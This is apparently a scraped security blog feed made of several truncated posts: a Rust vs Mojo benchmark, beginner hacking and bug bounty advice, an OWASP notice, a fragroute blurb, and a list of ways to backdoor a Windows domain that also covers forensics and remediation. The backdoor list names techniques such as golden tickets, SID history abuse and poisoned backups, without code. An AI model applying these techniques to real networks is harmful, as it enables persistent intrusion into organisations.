style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Ok wait, rustc like cargo by default is on debug-mode which is the slower version, the way to do cargo --release which is much faster is rustc -O rust_benchmark.rs</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;">real<span style="white-space: pre;"> </span>0m0.107s</div><div class="separator" style="clear: both;"><div class="separator" style="clear: both;">user<span style="white-space: pre;"> </span>0m0.005s</div><div class="separator" style="clear: both;">sys<span style="white-space: pre;"> </span>0m0.056s</div><div><br /></div></div><div><br /></div><div>This simple program don't make profit of the optimizations.</div><div><br /></div></div><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjV50Q5ImQDJuzWllYcrwEwX_Lje1FIuqkElY6BKp-gahA7GkoKJMzSH4yfAH3Zv-Rb4XXzcfJUj31X2QJLdGX5B2XPWU0UwyP3kG5FmwqnBgQ3jFaKzl9-APIJhJqdImohXtC1YkvFIIPtACpDGJy_cx87OFdC7Hb6JpFe4XieQf0wED-fTprx" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="906" data-original-width="950" height="590" src="https://blogger.googleusercontent.com/img/a/AVvXsEjV50Q5ImQDJuzWllYcrwEwX_Lje1FIuqkElY6BKp-gahA7GkoKJMzSH4yfAH3Zv-Rb4XXzcfJUj31X2QJLdGX5B2XPWU0UwyP3kG5FmwqnBgQ3jFaKzl9-APIJhJqdImohXtC1YkvFIIPtACpDGJy_cx87OFdC7Hb6JpFe4XieQf0wED-fTprx=w618-h590" width="618" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">We reduced from 30 calls to 27.</div><div class="separator" style="clear: both; text-align: left;">I'm not going to criticize the number of calls because rust does his magic and result faster.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Mojo only 7 calls but runtime seems slower.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Regarding memory operations, seems that is rust like compiler-time borrow checked.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">https://docs.modular.com/mojo/programming-manual.html#behavior-of-destructors</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjUS1rr3eY2UOeiMkZOr_OzAElRb5l-q9UXHy5hs3xOlZejt6WJSG0q-DJCbvIIj-bvTsID6Edc8r9-QQbq-nvYb-dmRxvkGZ6adOa_hO_qa_m7md8K8offaE17pyZyt1jzQel9L13aOux5iqYucrAA1s_IanMG0XaPZSrPMlDKv78fDe6Yl3MY" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="261" data-original-width="459" height="292" src="https://blogger.googleusercontent.com/img/a/AVvXsEjUS1rr3eY2UOeiMkZOr_OzAElRb5l-q9UXHy5hs3xOlZejt6WJSG0q-DJCbvIIj-bvTsID6Edc8r9-QQbq-nvYb-dmRxvkGZ6adOa_hO_qa_m7md8K8offaE17pyZyt1jzQel9L13aOux5iqYucrAA1s_IanMG0XaPZSrPMlDKv78fDe6Yl3MY=w515-h292" width="515" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust decompiled</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjYUrTK99ofrun-oYTwv30aFVyfGd-CcAJZwQwFIjLv123PfY6M9f2Sxg4vDO8ayd4T3lsr9eHPsB_qM8i8L5gXO1PgdyUnO3oNkQXcmc3_j7gMH0vrTonKq_C6iNOA8IXVlXcLeKHqYLbpadM8tWonL1QaFsoc3VnqFe8Zgo5KxXxiPVmZ0iR3" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="671" data-original-width="999" height="429" src="https://blogger.googleusercontent.com/img/a/AVvXsEjYUrTK99ofrun-oYTwv30aFVyfGd-CcAJZwQwFIjLv123PfY6M9f2Sxg4vDO8ayd4T3lsr9eHPsB_qM8i8L5gXO1PgdyUnO3oNkQXcmc3_j7gMH0vrTonKq_C6iNOA8IXVlXcLeKHqYLbpadM8tWonL1QaFsoc3VnqFe8Zgo5KxXxiPVmZ0iR3=w639-h429" width="639" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust disassembled</div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgpeq0rfhjh062731DuDOIkH49fBRIDh2IvFJQpcf_40xet9VdDzLPxK_8JTelOYGfjbQs8vQX9taEHtkZa_EH52mt2aFqNqHgig9L91drXHFN9TNi9YZ2Q2jHl8o3izDs65Pxr7_UuMG0kuN2PavEGYQMH4_T2HMFaLngzTcJCHNhRMyCVwwkH" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="374" data-original-width="848" height="257" src="https://blogger.googleusercontent.com/img/a/AVvXsEgpeq0rfhjh062731DuDOIkH49fBRIDh2IvFJQpcf_40xet9VdDzLPxK_8JTelOYGfjbQs8vQX9taEHtkZa_EH52mt2aFqNqHgig9L91drXHFN9TNi9YZ2Q2jHl8o3izDs65Pxr7_UuMG0kuN2PavEGYQMH4_T2HMFaLngzTcJCHNhRMyCVwwkH=w583-h257" width="583" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo decompiled</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEi4I49yRl6-pou33tMqRftg84AEu3iNe5IXhuhbEc1T9z_NKCkt6DbLDhj82ylg2Ei1DMPspWulDftmHw47EQdQEs8dDz32n9hm3jA20y3CJJJYmHgesQ6GYbV_7HMvRqGz_fc6OLJExScpEHFpaozpYsRIwAD-XEnOKeYsjvgxEZbXLup3TSIx" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="671" data-original-width="847" height="467" src="https://blogger.googleusercontent.com/img/a/AVvXsEi4I49yRl6-pou33tMqRftg84AEu3iNe5IXhuhbEc1T9z_NKCkt6DbLDhj82ylg2Ei1DMPspWulDftmHw47EQdQEs8dDz32n9hm3jA20y3CJJJYmHgesQ6GYbV_7HMvRqGz_fc6OLJExScpEHFpaozpYsRIwAD-XEnOKeYsjvgxEZbXLup3TSIx=w590-h467" width="590" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo disassembled</div><br /><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">So we have two things: the crafted assembly speed, and specially the runtime speed.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Looking the Rust assembly, it's writing the string pointer to stack on every iteration which is same pointer in every iteration.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">However Mojo loop is more optimized, param and address to call are pre-calculated before the loop.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">So Mojo is generating optimized code, but its c++ API seems slower, at least the print() </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Regards.</div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /></div><br /><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /></div><br /><br /></div><p><br /></p><div><br /></div><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><b>Related posts</b><br><ol><li> <a href="https://www.google.ac/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F03%2Finstasave-python-script-to-download.html">Pentest Tools Github </a></li><li> <a href="https://www.google.tk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F05%2Fdroidfiles-get-files-from-android.html">Pentest Tools Bluekeep </a></li><li> <a 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</a></li></ol>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-50430429436146683502024-01-23T08:01:00.001+01:002024-01-23T08:01:30.519+01:00How To Start | How To Become An Ethical Hacker<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="graf graf--p graf-after--figure" id="7d97" name="7d97"> Are you tired of reading endless news stories about <em class="markup--em markup--p-em">ethical hacking </em>and not really knowing what that means? Let's change that!</div> <div class="graf graf--p graf-after--p" id="72d5" name="72d5"> This Post is for the people that:</div> <div class="graf graf--p graf-after--p" id="72d5" name="72d5"> <br /></div> <ul class="postList"> <li class="graf graf--li graf-after--p" id="3563" name="3563">Have No Experience With Cybersecurity (Ethical Hacking)</li> <li class="graf graf--li graf-after--li" id="4c9e" name="4c9e">Have Limited Experience.</li> <li class="graf graf--li graf-after--li" id="5cc6" name="5cc6">Those That Just Can't Get A Break</li> </ul> <div class="graf graf--p graf-after--li" id="fccf" name="fccf"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9snHkI8fAJb4WyymVfzP7cRVtLkAizZrx49DZTJfqYu1LQIccWcEhh7QsmVm4K5xBHHwwbACBhwg758tw_GLbGF2ynctslwOQZLYV0U_2jqIOeCkDMCv1kxxJiF65I0XB2d5V/s1600/hacker-hacking-ddos-keyboard-1040x585.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="585" data-original-width="1040" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9snHkI8fAJb4WyymVfzP7cRVtLkAizZrx49DZTJfqYu1LQIccWcEhh7QsmVm4K5xBHHwwbACBhwg758tw_GLbGF2ynctslwOQZLYV0U_2jqIOeCkDMCv1kxxJiF65I0XB2d5V/s320/hacker-hacking-ddos-keyboard-1040x585.jpg" width="320" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="graf graf--p graf-after--li" id="fccf" name="fccf"> OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity. </div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66"> I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀</div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66"> <br /></div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66" style="text-align: center;"> <b>I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.</b></div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66" style="text-align: center;"> <br /></div> <div class="graf graf--p graf-after--p" id="1890" name="1890"> If you have no experience <strong class="markup--strong markup--p-strong">don't worry.</strong> We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.</div> <div class="graf graf--p graf-after--p" id="7d6e" name="7d6e"> Let's get this party started.</div> <ul style="text-align: left;"> <li> <b>What is hacking?</b></li> </ul> <div class="graf graf--p graf-after--h4" id="52c0" name="52c0"> Hacking is <strong class="markup--strong markup--p-strong">identifying</strong> weakness and vulnerabilities of some system and <strong class="markup--strong markup--p-strong">gaining access</strong> with it.</div> <em class="markup--em markup--p-em">Hacker</em> gets unauthorized access by targeting system while <em class="markup--em markup--p-em">ethical hacker</em> have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)<br /> <br /> There's some types of hackers, a bit of "terminology".<br /><strong class="markup--strong markup--p-strong">White hat</strong> — ethical hacker.<br /><strong class="markup--strong markup--p-strong">Black hat</strong> — classical hacker, get unauthorized access.<br /><strong class="markup--strong markup--p-strong">Grey hat</strong> — person who gets unauthorized access but reveals the weaknesses to the company.<br /><strong class="markup--strong markup--p-strong">Script kiddie</strong> — person with no technical skills just used pre-made tools.<br /><strong class="markup--strong markup--p-strong">Hacktivist </strong>— person who hacks for some idea and leaves some messages. For example strike against copyright.<br /> <ul style="text-align: left;"> <li><b> Skills required to become ethical hacker.</b></li> </ul> <ol class="postList"> <li class="graf graf--li graf-after--h4" id="77e1" name="77e1">Curosity anf exploration</li> <li class="graf graf--li graf-after--li" id="51a1" name="51a1">Operating System</li> <li class="graf graf--li graf-after--li" id="9c31" name="9c31">Fundamentals of Networking</li> </ol> *Note this sites<br /> <ul> <li><a href="http://hackquest.de/" name="hackquestde" rel="nofollow" title="hackquest.de">hackquest.de</a></li> <li><a href="http://hacktissite.org/" name="hacktissiteorg" rel="nofollow" title="hacktissite.org">hacktissite.org</a></li> <li><a href="http://www.trythis0ne.com/" name="wwwtrythis0necom" rel="nofollow" title="www.trythis0ne.com">www.trythis0ne.com</a></li> <li><a href="http://www.hackchallenge.net/" name="wwwhackchallengenet" rel="nofollow" title="www.hackchallenge.net">www.hackchallenge.net</a></li> <li><a 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Bluekeep </a></li><li> <a href="https://www.google.lt/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F05%2Fauthelia-single-sign-on-multi-factor.html">Hacker Tools </a></li><li> <a href="https://www.google.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fvideos.hacking.land%2F2020%2F06%2Fque-es-mitre-att-ethergroup-facebook.html">Pentest Tools Open Source </a></li></ul>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-9551344499603397652024-01-22T23:30:00.001+01:002024-01-22T23:30:24.842+01:00How Do I Get Started With Bug Bounty ?<div dir="ltr" style="text-align: left;" trbidi="on"> <b><span style="font-size: large;">How do I get started with bug bounty hunting? How do I improve my skills?</span></b><br /> <br /> <br /> <br /> These are some simple steps that every bug bounty hunter can use to get started and improve their skills:<br /> <br /> <b><span style="font-size: x-large;">Learn to make it; then break it!</span></b><br /> A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.<br /> <br /> <span style="font-size: x-large;">Read books. Lots of books.</span><br /> One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".<br /> <br /> <span style="font-size: x-large;"><b>Join discussions and ask questions.</b></span><br /> As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.<br /> <br /> <b><span style="font-size: x-large;">Participate in open source projects; learn to code.</span></b><br /> Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.<br /> <br /> <span style="font-size: x-large;"><b>Help others. If you can teach it, you have mastered it.</b></span><br /> Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.<br /> <br /> Smile when you get feedback and use it to your advantage.<br /> The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.<br /> <br /> <br /> <span style="font-size: x-large;"><b>Learn to approach a target.</b></span><br /> The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.<br /> <br /> A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."<br /> As you progress, you will start to notice patterns and find yourself refining your hunting methodology. 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</a></li></ol>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-8637233134860388102024-01-22T14:58:00.001+01:002024-01-22T14:58:07.092+01:00Thousand Ways To Backdoor A Windows Domain (Forest)<div style="text-align: left;"> <div style="text-align: justify;"> When the Kerberos elevation of privilege (CVE-2014-6324 / MS14-068) vulnerability has been made public, the remediation paragraph of the following blog post made some waves:<br /> <a href="http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx">http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx</a><br /> <br /> "The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain."<br /> <br /> Personally, I agree with this, but .... But whether this is the real solution, I'm not sure. And the same applies to compromised computers. When it has been identified that malware was able to run on the computer (e.g. scheduled scan found the malware), there is no easy way to determine with 100% certainty that there is no rootkit on the computer. Thus rebuilding the computer might be a good thing to consider. For paranoids, use new hardware ;)<br /> <br /> But rebuilding a single workstation and rebuilding a whole domain is not on the same complexity level. Rebuilding a domain can take weeks or months (or years, which will never happen, as the business will close before that).<br /> <br /> There are countless documented methods to backdoor a computer, but I have never seen a post where someone collects all the methods to backdoor a domain. In the following, I will refer to domain admin, but in reality, I mean Domain Admins, Enterprise Admins, and Schema Admins.<br /> <br /> <br /> <h3> Ways to backdoor a domain</h3> So here you go, an incomplete list to backdoor a domain:<br /> <br /> <ul> <li>Create a new domain admin user. Easy to do, easy to detect, easy to remediate</li> <li>Dump password hashes. The attacker can either crack those or just pass-the-hash. Since KB2871997, pass-the-hash might be trickier (<a href="https://technet.microsoft.com/library/security/2871997">https://technet.microsoft.com/library/security/2871997</a>), but not impossible. Easy to do, hard to detect, hard to remediate - just think about service user passwords. And during remediation, consider all passwords compromised, even strong ones.</li> <li>Logon scripts - modify the logon scripts and add something malicious in it. Almost anything detailed in this post can be added :D</li> <li>Use an already available account, and add domain admin privileges to that. Reset its password. Mess with current group memberships - e.g. <a href="http://www.exploit-db.com/papers/17167/">http://www.exploit-db.com/papers/17167/</a></li> <li>Backdoor any workstation where domain admins login. While remediating workstations, don't forget to clean the roaming profile. The type of backdoor can use different forms: malware, local admin, password (hidden admin with 500 RID), sticky keys, etc.</li> <li>Backdoor any domain controller server. For advanced attacks, see <a href="https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150117" target="_blank">Skeleton keys </a></li> <li>Backdoor files on network shares which are commonly used by domain admins by adding malware to commonly used executables - <a href="https://github.com/secretsquirrel/the-backdoor-factory" target="_blank">Backdoor factory</a></li> <li>Change ownership/permissions on AD partitions - if you have particular details on how to do this specifically, please comment</li> <li>Create a new domain user. Hide admin privileges with SID history. Easy to do, hard to detect, easy to remediate - check <a href="https://github.com/gentilkiwi/mimikatz" target="_blank">Mimikatz </a>experimental for addsid</li> <li><a href="http://rycon.hu/papers/goldenticket.html" target="_blank">Golden tickets</a> - easy to do, hard to detect, medium remediation</li> <li><a href="http://www.beneaththewaves.net/Projects/Mimikatz_20_-_Silver_Ticket_Walkthrough.html" target="_blank">Silver tickets</a> - easy to do, hard to detect, medium/hard remediation</li> <li>Backdoor workstations/servers via group policy</li> <ul> <li>HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce,</li> <li>scheduled tasks (run task 2 years later),</li> <li><a href="http://www.labofapenetrationtester.com/2012/05/fun-with-sticky-keys-utilman-and.html" target="_blank">sticky-keys with debug</a></li> </ul> <li><a href="https://www.youtube.com/watch?v=Mz9Bg9KAKBs" target="_blank">Backdoor patch management tool</a>, see <a href="https://www.trustedsec.com/files/Owning_One_Rule_All_v2.pdf" target="_blank">slides here</a></li> </ul> <div> [Update 2017.01.10]</div> <ul> <li>Assign <a href="http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" target="_blank">SeEnableDelegationPrivilege</a> to a user </li> <li><a href="https://adsecurity.org/?p=1714" target="_blank">Directory Service Restore Mode (DSRM)</a></li> <li><a href="https://adsecurity.org/?p=1760" target="_blank">Malicious Security Support Provider (SSP)</a></li> <li><a href="https://adsecurity.org/?p=1785" target="_blank">DSRMv2</a></li> <li><a href="https://adsecurity.org/?p=1906" target="_blank">AdminSDHolder</a></li> <li><a href="https://adsecurity.org/?p=2716" target="_blank">Edit GPO</a> </li> </ul> <br /> <br /> <h3> Other tricks</h3> The following list does not fit in the previous "instant admin" tips, but still, it can make the attackers life easier if their primary foothold has been disabled:<br /> <br /> <ul> <li>Backdoor recent backups - and when the backdoor is needed, destroy the files, so the files will be restored from the backdoored backup</li> <li>Backdoor the Exchange server - get a copy of emails</li> <li>Backdoor workstation/server golden image</li> <li>Change permission of logon scripts to allow modification later</li> <li>Place malicious symlinks to file shares, collect hashes via SMB auth tries on specified IP address, grab password hashes later</li> <li>Backdoor remote admin management e.g. HP iLO - e.g. create new user or steal current password</li> <li>Backdoor files e.g. on shares to use in SMB relay</li> <li>Backdoor source code of in-house-developed software</li> <li>Use any type of sniffed or reused passwords in new attacks, e.g. network admin, firewall admin, VPN admin, AV admin, etc.</li> <li>Change the content of the proxy pac file (change browser configuration if necessary), including special exception(s) for a chosen domain(s) to use proxy on malicious IP. Redirect the traffic, enforce authentication, grab password hashes, ???, profit.</li> <li>Create high privileged users in applications running with high privileges, e.g. MSSQL, Tomcat, and own the machine, impersonate users, grab their credentials, etc. The typical pentest path made easy.</li> <li>Remove patches from servers, change patch policy not to install those patches.</li> <li>Steal Windows root/intermediate CA keys</li> <li>Weaken AD security by changing group policy (e.g. re-enabling LM-hashes)</li> </ul> Update [2015-09-27]: I found this <a href="https://www.youtube.com/watch?v=w6761-NWmj4" target="_blank">great presentation</a> from Jakob Heidelberg. It mentions (at least) the following techniques, it is worth to check these:<br /> <ul> <li>Microsoft Local Administrator Password Solution</li> <li>Enroll virtual smart card certificates for domain admins</li> </ul> <br /> <h3> Forensics</h3> <div> If you have been chosen to remediate a network where attackers gained domain admin privileges, well, you have a lot of things to look for :)</div> <div> <br /></div> <div> I can recommend two tools which can help you during your investigation:</div> <div> <br /> <ul> <li><a href="http://blogs.microsoft.com/cybertrust/2013/06/03/microsoft-releases-new-mitigation-guidance-for-active-directory/" target="_blank">AD explorer tool to diff AD</a></li> <li><a href="http://www.ntdsxtract.com/downloads/ntdsxtract/ntds_forensics.pdf" target="_blank">NTDS forensics</a></li> <li><a href="https://bitbucket.org/iwseclabs/bta" target="_blank">BTA</a> (thx to Sn0rkY)</li> </ul> <br /> <br /></div> <h3> Lessons learned</h3> But guess what, not all of these problems are solved by rebuilding the AD. One has to rebuild all the computers from scratch as well. Which seems quite impossible. When someone is creating a new AD, it is impossible not to migrate some configuration/data/files from the old domain. And whenever this happens, there is a risk that the new AD will be backdoored as well.<br /> <br /> Ok, we are doomed, but what can we do? I recommend proper log analysis, analyze trends, and detect strange patterns in your network. Better spend money on these, than on the domain rebuild. And when you find something, do a proper incident response. And good luck!</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Ps: Thanks to Andrew, EQ, and Tileo for adding new ideas to this post.<br /> <br /> Check out the <a href="https://jumpespjump.blogspot.hu/2015/05/many-ways-of-malware-persistence-that.html" target="_blank">host backdooring</a> post as well! :)</div> </div><b>Related news</b><br><ul><li> <a href="https://www.google.ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F03%2Fstarkiller-frontend-for-powershell.html">Pentest Tools Find Subdomains </a></li><li> <a href="https://www.google.kz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fexploit.kitploit.com%2F2020%2F08%2Ffuel-cms-147-sql-injection.html">Hacking Tools For Windows Free Download </a></li><li> <a href="https://www.google.hu/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.hacking.reviews%2F2020%2F08%2Fdlinjector-gui-dll-injector-graphical.html">Top Pentest Tools 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</a></li></ul>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-64151400329321990922024-01-22T06:27:00.001+01:002024-01-22T06:27:22.679+01:00OWASP Announcement<div style="text-align: left;"> </div> <h2 style="clear: both; text-align: left;"> <a href="https://developers.google.com/season-of-docs/docs/participants/" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="90" data-original-width="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaWLXz2thaFmzo1ihOYPghvfWb_Bos4rM61EIPWNL_oSA8n6gAGze_m2jHHe-2dHcoE_jFWB_QEdPExVO7qtmfSB_9VaXDOy_fb2MscqnOU92Nvne-8meJOjpazBbrY2nZS4uYZQ/s1600/download.png" /></a><b><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: x-large;">🕬 OWASP Announcement:</span></b></h2> <div> <b><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: x-large;"><br /></span></b></div> <div class="" style="clear: both; text-align: left;"> <span style="font-family: Trebuchet MS, sans-serif;">The OWASP Foundation has been chosen to be 1 of 50 Open Source Organizations <span style="background-color: white; white-space: pre-wrap;">to participate in the inaugural year of the Google <a href="https://developers.google.com/season-of-docs/docs/participants/">Season of Docs</a> program. </span></span><br /> <span style="font-family: "trebuchet ms" , sans-serif; font-size: medium;"><span style="background-color: white; font-family: Trebuchet MS, sans-serif; white-space: pre-wrap;"><br /></span></span> <span style="color: #212121;"><span style="font-family: Trebuchet MS, sans-serif;">The goal of Season of Docs is to provide a framework for technical writers and open source projects to work together towards the common goal of improving an open source project's documentation. For technical writers who are new to open source, the program provides an opportunity to gain experience in contributing to open source projects. For technical writers who're already working in open source, the program provides a potentially new way of working together. Season of Docs also gives open source projects an opportunity to engage more of the technical writing community.</span></span><br /> <span style="font-family: "trebuchet ms" , sans-serif; font-size: medium;"><span style="background-color: white; font-family: Trebuchet MS, sans-serif; white-space: pre-wrap;"> </span></span><br /> <span style="font-family: "roboto" , sans-serif;"><span style="background-color: white; font-family: Trebuchet MS, sans-serif; white-space: pre-wrap;">We would like to thank the OWASP members that donate their time and knowledge as administrators and mentors. It would not be possible if not for these individuals: </span></span></div> <span style="font-family: Trebuchet MS, sans-serif; font-size: medium;">Spyros, Fabio, and <span class="UXkSbf" data-tooltip-position="top" data-tooltip="" jsname="BXecsc" style="-webkit-tap-highlight-color: transparent; line-height: 24px;">Konstantinos </span></span><br /> <span style="font-family: Trebuchet MS, sans-serif; font-size: medium;"><span class="UXkSbf" data-tooltip-position="top" data-tooltip="" jsname="BXecsc" style="-webkit-tap-highlight-color: transparent; line-height: 24px;"><br /></span></span> <br /> <br /> <br /><h3>Related articles</h3><br><ul><li> <a href="https://www.google.ne/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F01%2Fagentsmith-hids-open-source-host-based.html">Pentest Tools Download </a></li><li> <a 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Secure Networks "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" paper of January 1998. It features a simple ruleset language to delay, duplicate, drop, fragment, overlap, print, reorder, segment, source-route, or otherwise monkey with all outbound packets destined for a target host, with minimal support for randomized or probabilistic behaviour. This tool was written in good faith to aid in the testing of network intrusion detection systems, firewalls, and basic TCP/IP stack behaviour." <a href="http://monkey.org/%7Edugsong/fragroute"><span style="font-weight: bold;">read more...</span></a><br /></div><br />Website: <a href="http://monkey.org/%7Edugsong/fragroute"><span style="font-weight: bold;">http://monkey.org/~dugsong/fragroute</span></a><br /><p></p><b>More articles</b><br><ul><li> <a href="https://www.google.dz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fvideo.hacking.reviews%2F2020%2F08%2Fdef-con-safe-mode-voting-village_16.html">Pentest Tools Online </a></li><li> <a href="https://www.google.bj/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F05%2Fhow-to-set-up-vpn-on-kodi-in-2-minutes.html">Hacking Tools For Games </a></li><li> <a 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These vulnerabilities existed in implementations by Cisco, Huawei, and others.<br /> <br /> <a data-ss1533966425="1" href="https://www.blogger.com/null" name="more"></a>This week at the <a data-ss1533966425="1" href="https://www.usenix.org/conference/usenixsecurity18" rel="noreferrer">USENIX Security conference</a>, I will present our <a data-ss1533966425="1" href="https://www.usenix.org/conference/usenixsecurity18/presentation/felsch" rel="noreferrer">research paper on IPsec attacks</a>: <i>The Dangers of Key Reuse: Practical Attacks on IPsec 